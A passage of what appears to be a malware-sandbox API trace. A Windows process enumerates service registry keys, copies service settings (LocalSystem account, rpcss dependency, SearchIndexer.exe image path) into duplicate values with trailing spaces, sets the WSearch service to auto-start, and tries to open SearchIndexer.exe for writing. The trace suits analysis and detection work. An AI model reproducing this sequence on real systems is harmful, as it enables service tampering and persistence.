hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0212.808] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0212.809] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0212.809] RegCloseKey (hKey=0x154) returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0212.809] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0212.809] RegCloseKey (hKey=0x148) returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0212.809] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0212.810] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0212.810] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0212.810] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.811] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.814] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.814] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.814] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.814] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.815] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.815] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.815] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0212.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0212.815] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0212.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0212.815] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.815] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.815] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.815] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.816] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.816] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0212.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0212.817] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0212.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.817] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.818] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0212.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0212.818] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.818] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.819] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0212.819] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0212.820] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\SearchIndexer.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\SearchIndexer.exe" [0212.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0212.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0212.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0212.820] LocalFree (hMem=0x7f03d0) returned 0x0 [0212.820] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0212.820] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x2) returned 0x803990 [0212.820] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0212.850] CloseServiceHandle (hSCObject=0x803990) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.851] RegCloseKey (hKey=0x148) returned 0x0 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0212.851] RegCloseKey (hKey=0x150) returned 0x0 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0212.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0212.851] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90db591b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x90db591b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0212.851] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.851] GetLastError () returned 0x20 [0212.852] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0212.852] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0212.852] CryptReleaseContext 